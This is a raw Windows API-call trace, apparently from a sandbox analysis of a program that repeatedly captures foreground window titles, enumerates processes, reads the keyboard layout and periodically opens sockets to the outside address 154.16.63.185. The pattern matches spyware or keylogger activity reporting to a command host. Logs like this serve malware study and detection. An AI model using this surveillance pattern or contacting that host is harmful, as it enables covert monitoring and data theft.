[0210.315] GetLastError () returned 0x0
[0210.315] setsockopt (s=0x2ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0210.315] GetLastError () returned 0x0
[0210.315] bind (s=0x2ec, addr=0x23a8988*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
[0210.315] GetLastError () returned 0x0
[0210.316] GetForegroundWindow () returned 0x101a2
[0210.316] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.403] GetForegroundWindow () returned 0x101a2
[0210.403] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.465] GetForegroundWindow () returned 0x101a2
[0210.465] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.535] GetForegroundWindow () returned 0x101a2
[0210.535] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.598] GetForegroundWindow () returned 0x100f6
[0210.598] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0210.598] EnumProcesses (in: lpidProcess=0x23a9508, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23a9508, lpcbNeeded=0x562f77c) returned 1
[0210.599] GetLastError () returned 0x3e5
[0210.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33c1ed0, ResultLength=0x562f740*=0x8be8) returned 0x0
[0210.603] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0210.603] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0210.657] GetForegroundWindow () returned 0x101a2
[0210.657] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0210.657] EnumProcesses (in: lpidProcess=0x23ba9dc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ba9dc, lpcbNeeded=0x562f77c) returned 1
[0210.658] GetLastError () returned 0x3e5
[0210.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33e1ef0, ResultLength=0x562f740*=0x8be8) returned 0x0
[0210.661] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0210.662] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.720] GetForegroundWindow () returned 0x101a2
[0210.720] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.784] GetForegroundWindow () returned 0x101a2
[0210.784] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.845] GetForegroundWindow () returned 0x101a2
[0210.845] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0210.907] GetForegroundWindow () returned 0x100f6
[0210.907] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0210.907] EnumProcesses (in: lpidProcess=0x23cc6b8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23cc6b8, lpcbNeeded=0x562f77c) returned 1
[0210.908] GetLastError () returned 0x3e5
[0210.908] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3401f10, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0210.911] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0210.911] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0210.969] GetForegroundWindow () returned 0x101a2
[0210.970] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0210.970] EnumProcesses (in: lpidProcess=0x23ddb20, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ddb20, lpcbNeeded=0x562f77c) returned 1
[0210.970] GetLastError () returned 0x3e5
[0210.971] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3421f30, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0210.974] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0210.974] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.032] GetForegroundWindow () returned 0x101a2
[0211.032] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.095] GetForegroundWindow () returned 0x101a2
[0211.095] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.157] GetForegroundWindow () returned 0x101a2
[0211.157] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.219] GetForegroundWindow () returned 0x100f6
[0211.219] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0211.219] EnumProcesses (in: lpidProcess=0x23ef790, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ef790, lpcbNeeded=0x562f77c) returned 1
[0211.219] GetLastError () returned 0x3e5
[0211.220] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3441f50, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0211.223] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0211.223] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0211.282] GetForegroundWindow () returned 0x101a2
[0211.282] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0211.282] EnumProcesses (in: lpidProcess=0x2400c4c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2400c4c, lpcbNeeded=0x562f77c) returned 1
[0211.282] GetLastError () returned 0x3e5
[0211.283] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3461f70, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0211.286] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0211.286] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.344] GetForegroundWindow () returned 0x101a2
[0211.344] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.408] GetForegroundWindow () returned 0x101a2
[0211.408] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.469] GetForegroundWindow () returned 0x101a2
[0211.469] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.531] GetForegroundWindow () returned 0x100f6
[0211.531] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0211.531] EnumProcesses (in: lpidProcess=0x24128bc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24128bc, lpcbNeeded=0x562f77c) returned 1
[0211.532] GetLastError () returned 0x3e5
[0211.532] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3482f90, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0211.535] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0211.535] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0211.594] GetForegroundWindow () returned 0x101a2
[0211.594] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0211.594] EnumProcesses (in: lpidProcess=0x2423d24, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2423d24, lpcbNeeded=0x562f77c) returned 1
[0211.594] GetLastError () returned 0x3e5
[0211.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34a2fb0, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0211.597] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0211.597] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0211.656] GetForegroundWindow () returned 0x101a2
[0211.656] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.696] inet_addr (cp="154.16.63.185") returned 0xb93f109a
[0215.697] GetLastError () returned 0x3e5
[0215.697] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2ec
[0215.697] GetLastError () returned 0x0
[0215.697] setsockopt (s=0x2ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0215.697] GetLastError () returned 0x0
[0215.698] bind (s=0x2ec, addr=0x2468ef4*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
[0215.698] GetLastError () returned 0x0
[0215.728] GetForegroundWindow () returned 0x101a2
[0215.728] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.793] GetForegroundWindow () returned 0x101a2
[0215.793] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.852] GetForegroundWindow () returned 0x100f6
[0215.852] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0215.853] EnumProcesses (in: lpidProcess=0x2469524, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2469524, lpcbNeeded=0x562f77c) returned 1
[0215.853] GetLastError () returned 0x3e5
[0215.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3523030, ResultLength=0x562f740*=0x8b68) returned 0x0
[0215.857] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0215.857] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0215.915] GetForegroundWindow () returned 0x101a2
[0215.915] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0215.915] EnumProcesses (in: lpidProcess=0x247a920, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x247a920, lpcbNeeded=0x562f77c) returned 1
[0215.915] GetLastError () returned 0x3e5
[0215.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3543050, ResultLength=0x562f740*=0x8b68) returned 0x0
[0215.919] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0215.919] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0215.977] GetForegroundWindow () returned 0x101a2
[0215.977] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.040] GetForegroundWindow () returned 0x101a2
[0216.040] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.102] GetForegroundWindow () returned 0x101a2
[0216.102] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.164] GetForegroundWindow () returned 0x100f6
[0216.164] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0216.164] EnumProcesses (in: lpidProcess=0x248c524, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x248c524, lpcbNeeded=0x562f77c) returned 1
[0216.165] GetLastError () returned 0x3e5
[0216.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3563070, ResultLength=0x562f740*=0x8b68) returned 0x0
[0216.168] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0216.168] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0216.227] GetForegroundWindow () returned 0x101a2
[0216.227] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0216.227] EnumProcesses (in: lpidProcess=0x249d920, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x249d920, lpcbNeeded=0x562f77c) returned 1
[0216.228] GetLastError () returned 0x3e5
[0216.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3583090, ResultLength=0x562f740*=0x8b68) returned 0x0
[0216.237] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0216.237] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.295] GetForegroundWindow () returned 0x101a2
[0216.295] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.352] GetForegroundWindow () returned 0x101a2
[0216.352] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.414] GetForegroundWindow () returned 0x101a2
[0216.414] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.476] GetForegroundWindow () returned 0x100f6
[0216.477] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0216.477] EnumProcesses (in: lpidProcess=0x24af578, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24af578, lpcbNeeded=0x562f77c) returned 1
[0216.477] GetLastError () returned 0x3e5
[0216.477] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35a30b0, ResultLength=0x562f740*=0x8b28) returned 0x0
[0216.481] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0216.481] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0216.539] GetForegroundWindow () returned 0x101a2
[0216.539] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0216.539] EnumProcesses (in: lpidProcess=0x24c0908, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24c0908, lpcbNeeded=0x562f77c) returned 1
[0216.540] GetLastError () returned 0x3e5
[0216.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35c30d0, ResultLength=0x562f740*=0x8b28) returned 0x0
[0216.547] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0216.547] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.601] GetForegroundWindow () returned 0x101a2
[0216.602] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.664] GetForegroundWindow () returned 0x101a2
[0216.664] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.726] GetForegroundWindow () returned 0x101a2
[0216.726] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.788] GetForegroundWindow () returned 0x100f6
[0216.789] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0216.789] EnumProcesses (in: lpidProcess=0x24d24a0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24d24a0, lpcbNeeded=0x562f77c) returned 1
[0216.789] GetLastError () returned 0x3e5
[0216.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35e30f0, ResultLength=0x562f740*=0x8b28) returned 0x0
[0216.793] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0216.793] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0216.851] GetForegroundWindow () returned 0x101a2
[0216.851] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0216.851] EnumProcesses (in: lpidProcess=0x24e3830, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24e3830, lpcbNeeded=0x562f77c) returned 1
[0216.852] GetLastError () returned 0x3e5
[0216.852] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3603110, ResultLength=0x562f740*=0x8b28) returned 0x0
[0216.856] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0216.856] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.913] GetForegroundWindow () returned 0x101a2
[0216.913] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0216.976] GetForegroundWindow () returned 0x101a2
[0216.976] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.038] GetForegroundWindow () returned 0x101a2
[0217.038] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.101] GetForegroundWindow () returned 0x100f6
[0217.101] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0217.101] EnumProcesses (in: lpidProcess=0x24f53c8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24f53c8, lpcbNeeded=0x562f77c) returned 1
[0217.102] GetLastError () returned 0x3e5
[0217.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3623130, ResultLength=0x562f740*=0x8b28) returned 0x0
[0217.106] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0217.106] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0217.163] GetForegroundWindow () returned 0x101a2
[0217.163] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0217.163] EnumProcesses (in: lpidProcess=0x2506758, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2506758, lpcbNeeded=0x562f77c) returned 1
[0217.164] GetLastError () returned 0x3e5
[0217.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x32f3248, ResultLength=0x562f740*=0x8b28) returned 0x0
[0217.188] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0217.189] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0217.241] GetForegroundWindow () returned 0x101a2
[0217.241] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.291] inet_addr (cp="154.16.63.185") returned 0xb93f109a
[0221.291] GetLastError () returned 0x3e5
[0221.291] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x33c
[0221.292] GetLastError () returned 0x0
[0221.292] setsockopt (s=0x33c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0221.292] GetLastError () returned 0x0
[0221.292] bind (s=0x33c, addr=0x2396ab4*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
[0221.292] GetLastError () returned 0x0
[0221.312] GetForegroundWindow () returned 0x101a2
[0221.312] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0221.312] EnumProcesses (in: lpidProcess=0x2396b94, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2396b94, lpcbNeeded=0x562f77c) returned 1
[0221.313] GetLastError () returned 0x3e5
[0221.314] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33a1eb0, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0221.318] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0221.319] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.376] GetForegroundWindow () returned 0x101a2
[0221.376] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.437] GetForegroundWindow () returned 0x100f6
[0221.437] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0221.437] EnumProcesses (in: lpidProcess=0x23a8308, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23a8308, lpcbNeeded=0x562f77c) returned 1
[0221.438] GetLastError () returned 0x3e5
[0221.438] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33c1ed0, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0221.442] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0221.442] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0221.500] GetForegroundWindow () returned 0x101a2
[0221.500] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0221.500] EnumProcesses (in: lpidProcess=0x23b9770, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23b9770, lpcbNeeded=0x562f77c) returned 1
[0221.500] GetLastError () returned 0x3e5
[0221.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x33e1ef0, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0221.507] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0221.507] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.562] GetForegroundWindow () returned 0x101a2
[0221.562] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.625] GetForegroundWindow () returned 0x101a2
[0221.625] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.687] GetForegroundWindow () returned 0x101a2
[0221.687] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.749] GetForegroundWindow () returned 0x100f6
[0221.749] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0221.749] EnumProcesses (in: lpidProcess=0x23cb3e0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23cb3e0, lpcbNeeded=0x562f77c) returned 1
[0221.750] GetLastError () returned 0x3e5
[0221.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3401f10, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0221.755] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0221.755] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0221.812] GetForegroundWindow () returned 0x101a2
[0221.812] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0221.812] EnumProcesses (in: lpidProcess=0x23dc848, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23dc848, lpcbNeeded=0x562f77c) returned 1
[0221.812] GetLastError () returned 0x3e5
[0221.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3421f30, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0221.818] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0221.818] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.874] GetForegroundWindow () returned 0x101a2
[0221.874] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.936] GetForegroundWindow () returned 0x101a2
[0221.936] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.999] GetForegroundWindow () returned 0x101a2
[0221.999] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.061] GetForegroundWindow () returned 0x100f6
[0222.061] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0222.061] EnumProcesses (in: lpidProcess=0x23ee4b8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ee4b8, lpcbNeeded=0x562f77c) returned 1
[0222.062] GetLastError () returned 0x3e5
[0222.063] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3441f50, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0222.068] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0222.068] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0222.124] GetForegroundWindow () returned 0x101a2
[0222.124] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0222.124] EnumProcesses (in: lpidProcess=0x23ff920, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x23ff920, lpcbNeeded=0x562f77c) returned 1
[0222.125] GetLastError () returned 0x3e5
[0222.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3461f70, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0222.131] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0222.131] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.186] GetForegroundWindow () returned 0x101a2
[0222.186] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.249] GetForegroundWindow () returned 0x101a2
[0222.249] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.311] GetForegroundWindow () returned 0x101a2
